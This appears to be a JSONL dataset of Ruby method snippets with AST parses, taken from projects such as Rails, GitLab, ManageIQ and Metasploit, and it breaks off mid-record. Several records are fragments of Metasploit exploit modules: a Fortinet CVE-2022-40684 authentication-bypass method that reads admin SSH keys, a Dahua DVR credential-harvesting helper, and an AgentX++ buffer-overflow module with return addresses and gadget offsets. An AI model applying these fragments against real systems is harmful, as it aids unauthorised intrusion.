{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_agenda_items/outcomes/wrapper_component.rb","start_line":46,"raw_source":"def wrapper_uniq_by\n      meeting_agenda_item.id\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_uniq_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting_agenda_item\"]},\"id\"]}]}","id":"50670f79-891f-407d-9541-04a7b5767763"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb","start_line":388,"raw_source":"def report_email_cred(mailserver, mailport, muser, mpass)\n    service_data = {\n      address: mailserver,\n      port: mailport,\n      service_name: 'email settings',\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      module_fullname: fullname,\n      origin_type: :service,\n      private_data: mpass,\n      private_type: :password,\n      username: muser\n    }.merge(service_data)\n\n    login_data = {\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::UNTRIED\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"report_email_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mailserver\"]},{\"type\":\"arg\",\"children\":[\"mailport\"]},{\"type\":\"arg\",\"children\":[\"muser\"]},{\"type\":\"arg\",\"children\":[\"mpass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"mailserver\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"mailport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"email settings\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"lvar\",\"children\":[\"mpass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"muser\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"fa0ed119-e8e0-4e28-994e-8a989cdb5184"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/url_for_test.rb","start_line":248,"raw_source":"def test_user_name_and_password_with_escape_codes\n        add_host!\n        assert_equal(\n          \"http://openid.aol.com%2Fnextangler:one+two%3F@www.basecamphq.com/c/a/i\",\n          W.new.url_for(user: \"openid.aol.com/nextangler\", password: \"one two?\", controller: \"c\", action: \"a\", id: \"i\")\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_user_name_and_password_with_escape_codes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_host!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://openid.aol.com%2Fnextangler:one+two%3F@www.basecamphq.com/c/a/i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"W\"]},\"new\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"openid.aol.com/nextangler\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"one two?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"i\"]}]}]}]}]}]}]}","id":"dc2b0adf-d7d5-42f7-9be2-5d37b2fe08dc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb","start_line":222,"raw_source":"def read_keys\n    vprint_status('Reading SSH key from authorized_keys file')\n    res = fortinet_request({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/system/admin/', username)\n    })\n    fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200\n    result = res.get_json_document['results'].first\n    ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|\n      result[key].gsub('\"', '') unless result[key].empty?\n    end.compact\n  end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"read_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Reading SSH key from authorized_keys file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"fortinet_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/system/admin/\"]},{\"type\":\"send\",\"children\":[null,\"username\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed read current SSH keys\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"results\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ssh-public-key1\"]},{\"type\":\"str\",\"children\":[\"ssh-public-key2\"]},{\"type\":\"str\",\"children\":[\"ssh-public-key3\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},\"compact\"]}]}]}","id":"cec00ec1-5ba9-4c78-a625-33e0f4b68ac1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/merge_request/show.rb","start_line":407,"raw_source":"def merge_immediately!\n          retry_until(reload: true, sleep_interval: 1, max_attempts: 12) do\n            if has_element?('merge-immediately-dropdown')\n              click_element('merge-immediately-dropdown')\n              click_element('merge-immediately-button')\n            else\n              click_element('merge-button')\n            end\n\n            merged?\n          end\n        end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_immediately!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_attempts\"]},{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"merge-immediately-dropdown\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"merge-immediately-dropdown\"]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"merge-immediately-button\"]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"merge-button\"]}]}]},{\"type\":\"send\",\"children\":[null,\"merged?\"]}]}]}]}","id":"c6715b25-96c2-45a6-9ec4-77c9c0f259ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/keys_controller.rb","start_line":8,"raw_source":"def show\n    @key = user.keys.find(params[:id])\n\n    respond_to do |format|\n      format.html\n      format.js { head :ok }\n    end\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"keys\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"js\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}]}]}","id":"e1081291-d6fe-4836-b815-f4f47ab0e44d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/combinable_loops.rb","start_line":101,"raw_source":"def same_collection_looping_block?(node, sibling)\n          return false if sibling.nil? || !sibling.any_block_type?\n\n          sibling.method?(node.method_name) &&\n            sibling.receiver == node.receiver &&\n            sibling.send_node.arguments == node.send_node.arguments\n        end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"same_collection_looping_block?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"sibling\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"any_block_type?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"receiver\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"send_node\"]},\"arguments\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_node\"]},\"arguments\"]}]}]}]}]}","id":"b522ee05-695d-478c-b654-949afaf87585"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vmdb_database_connection.rb","start_line":120,"raw_source":"def self.display_name(number = 1)\n    n_('Database Connection', 'Database Connections', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Database Connection\"]},{\"type\":\"str\",\"children\":[\"Database Connections\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"130e04ad-ed12-4843-816e-759315f3a3eb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression.rb","start_line":38,"raw_source":"def valid?(component = exp)\n    operator = component.keys.first\n    case operator.downcase\n    when \"and\", \"or\"\n      component[operator].all?(&method(:valid?))\n    when \"not\", \"!\"\n      valid?(component[operator])\n    when \"find\"\n      validate_set = Set.new(%w[checkall checkany checkcount search])\n      validate_keys = component[operator].keys.select { |k| validate_set.include?(k) }\n      validate_keys.all? { |k| valid?(component[operator][k]) }\n    else\n      if component[operator].key?(\"field\")\n        # For parent operator \"checkcount\", can use \"field\" => \"<count>\" (which would blow up Field.parse)\n        unless component[operator][\"field\"] == \"<count>\"\n          field = Field.parse(component[operator][\"field\"])\n          return false unless field&.valid?\n        end\n      end\n      # Note: by definition, is_field? ensures field.valid? - need to fix\n      if Field.is_field?(component[operator][\"value\"])\n        field = Field.parse(component[operator][\"value\"])\n        return false unless field&.valid?\n      end\n      true\n    end\n  end","complexity_score":69.3,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"component\",{\"type\":\"send\",\"children\":[null,\"exp\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"operator\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"keys\"]},\"first\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operator\"]},\"downcase\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"and\"]},{\"type\":\"str\",\"children\":[\"or\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"not\"]},{\"type\":\"str\",\"children\":[\"!\"]},{\"type\":\"send\",\"children\":[null,\"valid?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"find\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"validate_set\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"checkall\"]},{\"type\":\"str\",\"children\":[\"checkany\"]},{\"type\":\"str\",\"children\":[\"checkcount\"]},{\"type\":\"str\",\"children\":[\"search\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"validate_keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]},\"keys\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validate_set\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validate_keys\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[null,\"valid?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]},\"key?\",{\"type\":\"str\",\"children\":[\"field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"field\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"<count>\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Field\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"field\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"valid?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Field\"]},\"is_field?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Field\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"valid?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"20395e54-27d2-4d3b-abf3-653ea2e3168f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/key/rsa.rb","start_line":7,"raw_source":"def initialize(bits = 4096)\n          super('rsa', bits)\n        end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"bits\",{\"type\":\"int\",\"children\":[4096]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"str\",\"children\":[\"rsa\"]},{\"type\":\"lvar\",\"children\":[\"bits\"]}]}]}","id":"410c311c-78cd-441f-98ed-f3a581e17b13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/mattermost/client.rb","start_line":51,"raw_source":"def json_response(response)\n      json_response = Gitlab::Json.parse(response.body, legacy_mode: true)\n\n      unless response.success?\n        raise ::Mattermost::ClientError, json_response['message'] || 'Undefined error'\n      end\n\n      json_response\n    rescue JSON::JSONError\n      raise ::Mattermost::ClientError, 'Cannot parse response'\n    end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"json_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"legacy_mode\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mattermost\"]},\"ClientError\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"Undefined error\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"json_response\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"JSONError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mattermost\"]},\"ClientError\"]},{\"type\":\"str\",\"children\":[\"Cannot parse response\"]}]}]},null]}]}","id":"fc65a3c3-d338-405e-9bc6-44509b5f8e7d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/agentxpp_receive_agentx.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow',\n        'Description' => %q{\n          This exploits a stack buffer overflow in the AgentX++ library, as used by\n          various applications. By sending a specially crafted request, an attacker can\n          execute arbitrary code, potentially with SYSTEM privileges.\n\n          This module was tested successfully against master.exe as included with Real\n          Network\\'s Helix Server v12. When installed as a service with Helix Server,\n          the service runs as SYSTEM, has no recovery action, but will start automatically\n          on boot.\n\n          This module does not work with NX/XD enabled but could be modified easily to\n          do so. The address\n        },\n        'Author' => [ 'jduck' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2010-1318' ],\n          [ 'OSVDB', '63919'],\n          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=867' ]\n        ],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          # 'EXITFUNC' => 'seh',\n        },\n        'Payload' => {\n          'Space' => 1024, # plenty of space\n          'BadChars' => \"\", # none!\n          'DisableNops' => true,\n          'PrependEncoder' => \"\\x81\\xc4\\xf0\\xef\\xff\\xff\"\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            'Helix Server v12 and v13 - master.exe',\n            {\n              # The BufAddr varies :-/\n              # 'BufAddr' => 0xea3800,\n              'BufAddr' => 0x1053880,\n              'BufSize' => 25000, # If this is too large, the buf is unmapped on free\n              'Ret' => 0x46664b, # mov esp,ebp / pop ebp / ret in master.exe\n              'JmpEsp' => 0x7c3d55b7 # jmp esp from bundled msvcp71.dll\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2010-04-16',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(705)])\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[705]}]}]}]}]}","id":"31b74dd7-d35f-4e56-ac12-172ba835233a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_test.rb","start_line":284,"raw_source":"def test_polymorphic_nested_relation_where\n      expected = PriceEstimate.where(estimate_of_type: \"Treasure\", estimate_of_id: Treasure.where(id: [1, 2]))\n      actual   = PriceEstimate.where(estimate_of: Treasure.where(id: [1, 2]))\n\n      assert_equal expected.to_sql, actual.to_sql\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_polymorphic_nested_relation_where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PriceEstimate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"estimate_of_type\"]},{\"type\":\"str\",\"children\":[\"Treasure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"estimate_of_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Treasure\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PriceEstimate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"estimate_of\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Treasure\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"c